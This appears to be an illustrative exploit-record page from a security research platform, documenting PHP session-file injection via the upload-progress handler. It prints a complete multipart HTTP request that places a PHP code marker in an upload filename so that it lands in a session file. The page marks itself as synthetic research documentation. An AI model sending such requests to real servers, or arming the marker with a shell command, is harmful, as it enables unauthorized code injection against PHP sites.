Cloudflare

SHARED EXPLOIT RECORD / EXAMPLE

A successful exploit.

Session-file injection through PHP’s upload-progress handler.

Illustrative record only. The request is adapted from a public proof of concept; the metadata and evidence are synthetic. No exploit has been run for this example, and neither CVE has been validated by it.

Inspect payload

Attempt summary

Successful · example
Record ID
example
Recorded at
(example)
Request country
Portugal (PT) (example)
Target
PHP on Cloudflare Containers
Request
POST /php/index.php
Research scope
CVE-2026-109618 / CVE-2026-109619
CVE attribution
Not validated — demonstration only

Request & payload

Adapted from Qi Deng’s (@ikow) session-injection verification PoC. The multipart request supplies a session ID, an upload-progress field, and a filename containing a harmless PHP marker instead of a shell command.

The host and session ID are demonstration values. The HTTP tab shows the multipart structure with framing headers omitted; cURL generates the boundary and framing automatically. Use only on an authorized target.

POST /php/index.php HTTP/1.1
Host: research.example
Content-Type: multipart/form-data; boundary=RESEARCH
Cookie: PHPSESSID=researchdemo00000000000000

--RESEARCH
Content-Disposition: form-data; name="PHPSESSID"

researchdemo00000000000000
--RESEARCH
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
--RESEARCH
Content-Disposition: form-data; name="f"; filename="<?php echo 1337; ?>"

Z
--RESEARCH--

Result & evidence

The upstream script sends verification requests and asks the operator to inspect session files. It does not verify code execution by itself. This example models a successful session-file injection, not a confirmed RCE.

Verification requires target-side evidence that the chosen session file contains the raw filename marker. Upload-progress configuration and cleanup affect whether that evidence remains available. Executing the injected PHP would require an additional path, such as an application file-inclusion flaw. An HTTP 200 response alone is not proof.

Illustrative verification result

{
  "example": true,
  "outcome": "session_file_injection",
  "verification": "Illustrative only; no backend verification performed",
  "expected_filename_marker": "<?php echo 1337; ?>",
  "session_file_contains_marker": true,
  "code_execution_verified": false
}

What this link shares

Anyone with a shared permalink can view its published payload, evidence, and request country. The country comes from Workers’ request geolocation and indicates the request’s network origin, not the researcher’s nationality or residence. Raw client IPs, credentials, cookies, and other private capture metadata do not belong on the public record.

This example contains synthetic test data only. Live confirmation permalinks are generated after successful flag verification.